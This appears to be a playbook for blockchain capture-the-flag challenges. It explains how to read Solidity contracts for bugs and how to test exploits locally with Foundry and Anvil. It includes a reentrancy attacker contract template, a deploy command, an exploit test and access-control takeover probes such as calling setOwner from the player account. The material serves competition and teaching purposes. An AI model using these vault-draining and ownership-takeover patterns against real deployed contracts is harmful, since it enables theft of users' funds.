Blockchain CTF challenges give you a contract on a test chain and a win condition, usually draining a vault, becoming the owner, or reaching a token balance threshold. The winning pattern is test driven. Read the source first, write the exploit as a Foundry or Hardhat test against a local fork, iterate until the win condition passes locally, then replay the same calls against the challenge RPC. Never send your first guess to the challenge chain. Scope is CTF competitions, lab chains, and systems you have explicit permission to test, using only the private keys and funds the challenge provides.
Quick Workflow
- Collect the challenge facts, RPC URL, contract addresses, the player address and key, the setup contract, and the win condition.
- Read all provided source, including setup and helper contracts, and note every state variable, modifier, and external call.
- Map the attack surface, functions you can call, tokens you can move, and contracts that trust user supplied addresses.
- Reproduce locally, fork the challenge chain or deploy the contracts to a local Anvil or Hardhat node.
- Write the exploit as a test, prove the win condition locally, and only then point it at the challenge RPC.
- Execute against the challenge chain in one scripted run, keeping gas and ordering explicit.
- Verify the win condition on chain (balance, ownership, or the challenge checker) and capture the flag.
- Record the exact transactions for the writeup.
1. Reading a contract like an attacker
Read for state changes and trust boundaries, not for style. Answer these questions in order for every function.
// Checklist to apply to each function while reading source:
// 1. Who can call it (is there an onlyOwner style modifier, or none)?
// 2. What state does it change, and is the change before or after
// any external call (reentrancy window)?
// 3. Does it trust a caller supplied address, token, or price?
// 4. Does it use tx.origin, block.timestamp, or a predictable value
// for access control or randomness?
// 5. Where does value go, and can a caller redirect it?
When only bytecode is given, get the ABI and storage layout from the challenge artifacts first, then disassemble only what you need.
# Inspect a deployed contract over the challenge RPC (replace the
# endpoint and address with the ones the challenge provides)
curl -s -X POST https://chals.ctf:8545 \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"eth_getCode","params":["0x0000000000000000000000000000000000000000","latest"]}'
# Read a storage slot directly (slot 0 is usually the first variable)
curl -s -X POST https://chals.ctf:8545 \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":2,"method":"eth_getStorageAt","params":["0x0000000000000000000000000000000000000000","0x0","latest"]}'
# List recent transactions to the target for clues about intended use
curl -s -X POST https://chals.ctf:8545 \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":3,"method":"eth_blockNumber","params":[]}'
Common bug classes to classify before writing any exploit:
- Reentrancy, state updated after an external call.
- Access control, missing modifier,
tx.originchecks, or aninitializefunction anyone can call on a proxy. - Arithmetic and logic, unchecked math, wrong decimals, or a comparison that is off by one.
- Oracle manipulation, a price read from a single pool or from a balance the attacker can inflate with a flash loan.
- Unsafe delegatecall or arbitrary external calls with attacker controlled data.
- Weak randomness from
block.timestamp,blockhash, or a public seed.
2. Local reproduction with Foundry
Set up a local project, point it at the challenge contracts, and prove the exploit as a test. This keeps iteration fast and free.
# Scaffold a local exploit project (run once per challenge)
mkdir -p chain-ctf && cd chain-ctf
forge init --no-git --force 2>/dev/null || true
# Start a local chain forked from the challenge RPC, or a fresh chain
anvil --fork-url https://chals.ctf:8545 --fork-block-number 1000000 &
anvil # alternative: a fresh local chain when no fork is needed
// test/Exploit.t.sol - template: adapt names, addresses, and the win
// condition to the challenge, then run `forge test -vvvv` until it passes.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import "forge-std/Test.sol";
interface IVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balances(address user) external view returns (uint256);
}
contract ExploitTest is Test {
IVault public vault;
address public player = address(0x1234);
function setUp() public {
// Replace with the real vault address from the challenge.
vault = IVault(address(0x0000000000000000000000000000000000000000));
vm.deal(player, 10 ether);
}
function testExploit() public {
vm.startPrank(player);
vault.deposit{value: 1 ether}();
vault.withdraw(1 ether);
vm.stopPrank();
// Replace with the real win condition, for example a balance
// threshold or an ownership check on the setup contract.
assertGe(vault.balances(player), 0);
}
}
Run it, read the trace, and fix the exploit until the assertion
passes. forge test -vvvv traces are the debugger for this whole
category.
3. Reentrancy exploit pattern
The classic vault bug withdraws before updating the balance, so a
malicious receiver can call back into withdraw during the payout
and drain the vault. The attacker contract below is the shape to
adapt.
// src/Attacker.sol - reentrancy attacker template
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
interface IVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Attacker {
IVault public immutable vault;
uint256 public count;
constructor(address _vault) {
vault = IVault(_vault);
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw(msg.value);
}
receive() external payable {
// Re-enter while the vault still credits our original balance.
// The count guard stops the loop before gas runs out.
if (address(vault).balance >= msg.value && count < 10) {
count++;
vault.withdraw(msg.value);
}
}
}
# Deploy and run the attacker against the local chain first
forge create src/Attacker.sol:Attacker \
--rpc-url http://127.0.0.1:8545 \
--private-key 0x0000000000000000000000000000000000000000000000000000000000000001 \
--constructor-args 0x0000000000000000000000000000000000000000
Variants to check when plain reentrancy fails: cross function
reentrancy (re-enter a different function that shares state), read
only reentrancy (a view function reads stale state mid attack), and
reentrancy through an ERC-777 hook or an ERC-721 receiver callback
instead of a plain receive function.
4. Access control and initialization bugs
These are often the fastest flags in the category because the fix is one modifier the author forgot.
# Probes to try against the challenge contracts, in order:
# 1. Call the owner-only function directly from the player account.
# 2. Call initialize or setup on the proxy or implementation.
# 3. Check whether ownership can be transferred with zero checks.
# Use cast style calls through a small script so every attempt is logged.
cat > probe.sh <<'EOF'
#!/bin/sh
RPC="http://127.0.0.1:8545"
TARGET="0x0000000000000000000000000000000000000000"
# owner() is a view call, safe to probe locally and remotely
cast call "$TARGET" "owner()(address)" --rpc-url "$RPC" 2>/dev/null || echo "no owner() getter"
cast call "$TARGET" "initialized()(bool)" --rpc-url "$RPC" 2>/dev/null || echo "no initialized() getter"
EOF
sh probe.sh
// In a Foundry test, the access control probe is one assertion:
// vm.prank(player); vault.setOwner(player); assertEq(vault.owner(), player);
// If that passes locally, the challenge is an access control bug and
// the exploit is just that call replayed against the challenge RPC.
Watch for these specific shapes: a proxy whose implementation is
uninitialized (anyone can call initialize and become owner), a
onlyOwner modifier on the wrong function, a public function that
sets a privileged role, and tx.origin authentication that a
malicious contract can pass by being called from the owner.
Edge cases
- The challenge RPC rate limits or resets per player. Script the full exploit as one run and keep a local fork for iteration.
- The contract uses a proxy. Attack the implementation logic, but send transactions to the proxy address, and check storage layout collisions between proxy and implementation.
- Gas limits cut a reentrancy loop short. Lower the loop count, split the drain across transactions, or use a more gas efficient re-entry path.
- The token has fees, rebasing, or callbacks. Read the token contract too, a "simple" vault drain can fail because the token behaves unexpectedly on transfer.
- The win condition is checked by a separate setup contract. Read that contract first, it defines exactly what "solved" means.
- The challenge uses a non EVM chain or a custom VM. The EVM patterns here still guide triage, but addresses, tooling, and calling conventions change, so re-derive them from the challenge docs before adapting any snippet.
Escalation
- Reentrancy is guarded. Look for cross function reentrancy, a second entry point that reads the same balance, or a flash loan that lets you move the price or balance instead.
- Access control looks tight. Check initialization, delegatecall targets, and functions that let you set a trusted contract or oracle address.
- The vault is solvent and correct. The bug may be in the token, the oracle, or the setup contract, so widen the source review to every contract in scope.
- Local exploit passes but remote fails. Compare chain IDs, block numbers, deployed addresses, and token balances between local and remote, then re-capture fresh challenge state.
- Everything looks patched. Re-read for logic bugs, decimal mismatches, rounding in favor of the caller, and time based conditions you can satisfy by waiting or by ordering transactions.
Key references
- MITRE ATT&CK T1190 (Exploit Public-Facing Application) for the initial access framing.
- CWE-841 (Improper Enforcement of Behavioral Workflow) for reentrancy ordering bugs.
- CWE-862 (Missing Authorization) and CWE-863 (Incorrect Authorization) for access control failures.
- CWE-20 (Improper Input Validation) for untrusted address and oracle inputs.
- Solidity documentation: https://docs.soliditylang.org/
- Foundry book: https://getfoundry.sh/
- Ethernaut style challenge patterns and the SWC registry: https://swcregistry.io/
- OpenZeppelin Contracts security guidance: https://docs.openzeppelin.com/contracts/
See also
smart-contract-audit: Use it instead for a client smart-contract audit, rather than a drain-the-vault challenge workflow.
